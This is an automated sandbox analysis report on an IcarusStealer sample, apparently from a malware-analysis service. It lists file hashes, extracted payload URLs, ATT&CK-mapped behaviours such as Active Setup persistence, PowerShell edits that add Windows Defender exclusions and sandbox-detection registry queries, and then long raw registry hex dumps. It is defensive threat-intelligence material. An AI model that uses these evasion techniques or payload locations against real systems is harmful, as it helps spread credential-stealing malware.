icarusstealer | 140ac7d466459142aafacd0b67de79d7b662ac68ea37023b89069ac480e8509e

Analysis

max time kernel
209s
max time network
208s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
05/08/2024, 08:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

dddd.exe
Size

494KB
MD5

a31f6a526e1b5482249559f65f6a60b7
SHA1

16739fa1dcfe6e8e83e154499d0df786107d32b2
SHA256

140ac7d466459142aafacd0b67de79d7b662ac68ea37023b89069ac480e8509e
SHA512

23a84d6a81789dc40e6c2fe4534eed84a4a6565130d84d38dc5f5615b42a8bb4a68a06d95d8f50940d2f93a379ed8e8c5a3d855535ba8fedb26b0bc970f064e5
SSDEEP

12288:7F8aeruLut6N6LqQzJqkKAulc84bYBbuB1t4cWWzDKuVAccIpGNJ+Qj:7iVZ6N6LqQzJqkE

Score

10^/10

icarusstealer discovery execution persistence stealer

Malware Config

Extracted

Family

icarusstealer

Attributes

payload_url
https://blackhatsec.org/add.jpg

https://blackhatsec.org/remove.jpg

Signatures

IcarusStealer
Icarus is a modular stealer written in C# First adverts in July 2022.
stealer icarusstealer

Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1287768749-810021449-2672985988-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2816	powershell.exe
708	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2296	MSBuilds.exe
3676	SMSHoists.exe

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini	explorer.exe

Enumerates connected drives 3 TTPs 2 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\D:	explorer.exe
File opened (read-only)	\??\F:	explorer.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
6	raw.githubusercontent.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ipinfo.io
14	ipinfo.io

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3924 set thread context of 3056	3924	dddd.exe	86

Drops file in Windows directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\SystemTemp	chrmstp.exe
File opened for modification	C:\Windows\SystemTemp\Crashpad\metadata	chrmstp.exe
File opened for modification	C:\Windows\SystemTemp\Crashpad\settings.dat	chrmstp.exe
File opened for modification	C:\Windows\SystemTemp	chrmstp.exe
File opened for modification	C:\Windows\SystemTemp\Crashpad\metadata	chrmstp.exe
File opened for modification	C:\Windows\SystemTemp\Crashpad\settings.dat	chrmstp.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 23 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dddd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe

Checks SCSI registry key(s) 3 TTPs 22 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002	explorer.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2004	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1287768749-810021449-2672985988-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1287768749-810021449-2672985988-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1287768749-810021449-2672985988-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1287768749-810021449-2672985988-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133673207385591751"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 18 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1287768749-810021449-2672985988-1000\{4209DCF7-8C49-4190-994C-2876B40DAB87}	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1287768749-810021449-2672985988-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1287768749-810021449-2672985988-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify\PastIconsStream = 1400000005000000010001000200000014000000494c2006020004002c0010001000ffffffff2110ffffffffffffffff424d360000000000000036000000280000001000000040000000010020000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000060000000a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000060000000ff00000060000000000000000000000020000000b0000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff00000060000000200000000000000020000000f00d0d0df09d9d9dffc8c8c8ffe5e5e5ffe5e5e5ffe5e5e5ffe5e5e5ffe5e5e5ff8f8f8fff000000ff000000603f3f3f66000000ff00000060000000900a0a0af0c0c0c0ffe5e5e5ffe5e5e5ffe5e5e5ffe5e5e5ffe5e5e5ffe5e5e5ff8f8f8fff000000ff0000006056565660e2e2e2ff474747eb000000d0000000e04c4c4cee999999ff939393eeb1b1b1f0e0e0e0ffe5e5e5ffe5e5e5ff8f8f8fff000000ff0000006056565660c8c8c8f7adadadf6858585ff000000ff000000ff737373ff999999ff999999ff999999ff999999ffa0a0a0e8868686ff000000ff000000606d6d6d88aaaaaaebb2b2b2ffb2b2b2ff7a7a7aff000000ff000000ff696969ff999999ff999999ff999999ff999999ff5f5f5fff000000ff0000006045454571b2b2b2ffb2b2b2ffb2b2b2ffa7a7a7ff1b1b1be8000000c0000000b0080808f08f8f8fff999999ff999999ff5f5f5fff000000ff00000060303030607f7f7fff7b7b7bf67e7e7ee2525252e20a0a0af0000000f00000003000000020000000f0101010eb5a5a5af6505050ff000000ff00000060303030607f7f7fff7f7f7fff7f7f7fff676767ff000000ff000000b000000020000000000000000000000020000000b0000000ff000000ff00000060303030607f7f7fff7f7f7fff7f7f7fff777777ff080808f0000000d0000000000000000000000000000000000000000000000060000000ff00000060000000602c2c2ceb5f5f5fff5f5f5fff3f3f3fee080808f0000000f0000000300000000000000000000000000000000000000000000000a0000000600000000000000050000000b0000000f0000000ff000000f0000000a000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000060000000a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000060000000ff00000060000000000000000000000020000000b0000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff00000060000000200000000000000020000000f00d0d0df09d9d9dffc8c8c8ffe5e5e5ffe5e5e5ffe5e5e5ffe5e5e5ffe5e5e5ff8f8f8fff000000ff000000603f3f3f66000000ff00000060000000900a0a0af0c0c0c0ffe5e5e5ffe5e5e5ffe5e5e5ffe5e5e5ffe5e5e5ffe5e5e5ff8f8f8fff000000ff0000006056565660e2e2e2ff474747eb000000d0000000e04c4c4cee999999ff939393eeb1b1b1f0e0e0e0ffe5e5e5ffe5e5e5ff8f8f8fff000000ff0000006056565660c8c8c8f7adadadf6858585ff000000ff000000ff737373ff999999ff999999ff999999ff999999ffa0a0a0e8868686ff000000ff000000606d6d6d88aaaaaaebb2b2b2ffb2b2b2ff7a7a7aff000000ff000000ff696969ff999999ff999999ff999999ff999999ff5f5f5fff000000ff0000006045454571b2b2b2ffb2b2b2ffb2b2b2ffa7a7a7ff1b1b1be8000000c0000000b0080808f08f8f8fff999999ff999999ff5f5f5fff000000ff00000060303030607f7f7fff7b7b7bf67e7e7ee2525252e20a0a0af0000000f00000003000000020000000f0101010eb5a5a5af6505050ff000000ff00000060303030607f7f7fff7f7f7fff7f7f7fff676767ff000000ff000000b000000020000000000000000000000020000000b0000000ff000000ff00000060303030607f7f7fff7f7f7fff7f7f7fff777777ff080808f0000000d0000000000000000000000000000000000000000000000060000000ff00000060000000602c2c2ceb5f5f5fff5f5f5fff3f3f3fee080808f0000000f0000000300000000000000000000000000000000000000000000000a0000000600000000000000050000000b0000000f0000000ff000000f0000000a000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000424d3e000000000000003e0000002800000010000000400000000100010000000000000100000000000000000000000000000000000000000000ffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffff0000fff90000fff10000800100000000000000000000000000000000000000000000000000000001000080070000c0070000c80f0000ffff0000ffff0000ffff0000fff90000fff10000800100000000000000000000000000000000000000000000000000000001000080070000c0070000c80f0000ffff0000ffff000000000000000000000000000000000000000000000000010000000800000002000000040000002400000001000000000000000100000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1287768749-810021449-2672985988-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1287768749-810021449-2672985988-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1287768749-810021449-2672985988-1000_Classes\Local Settings\MuiCache	StartMenuExperienceHost.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1287768749-810021449-2672985988-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify\IconStreams = 140000000700000001000100050000001400000050003a005c00480066007200650066005c004e0071007a00760061005c004e006300630051006e0067006e005c005900620070006e0079005c005a00760070006500620066006200730067005c00420061007200510065007600690072005c00420061007200510065007600690072002e0072006b00720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f50100000000000000000000e8070800420061007200510065007600690072000a00410062006700200066007600740061007200710020007600610000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000069a19410eee4da0100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000007b005300330038004f0053003400300034002d0031005100340033002d0034003200530032002d0039003300300035002d00360037005100520030004f003200380053005000320033007d005c0072006b006300790062006500720065002e0072006b00720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000e8070800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff75ae2078e323294282c1e41cb67d5b9c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030000007b005300330038004f0053003400300034002d0031005100340033002d0034003200530032002d0039003300300035002d00360037005100520030004f003200380053005000320033007d005c0072006b006300790062006500720065002e0072006b00720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000e8070800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff81ae2078e323294282c1e41cb67d5b9c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000007b005300330038004f0053003400300034002d0031005100340033002d0034003200530032002d0039003300300035002d00360037005100520030004f003200380053005000320033007d005c0072006b006300790062006500720065002e0072006b00720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000e8070800000000000000000000000000000000000000000000000000000000000000000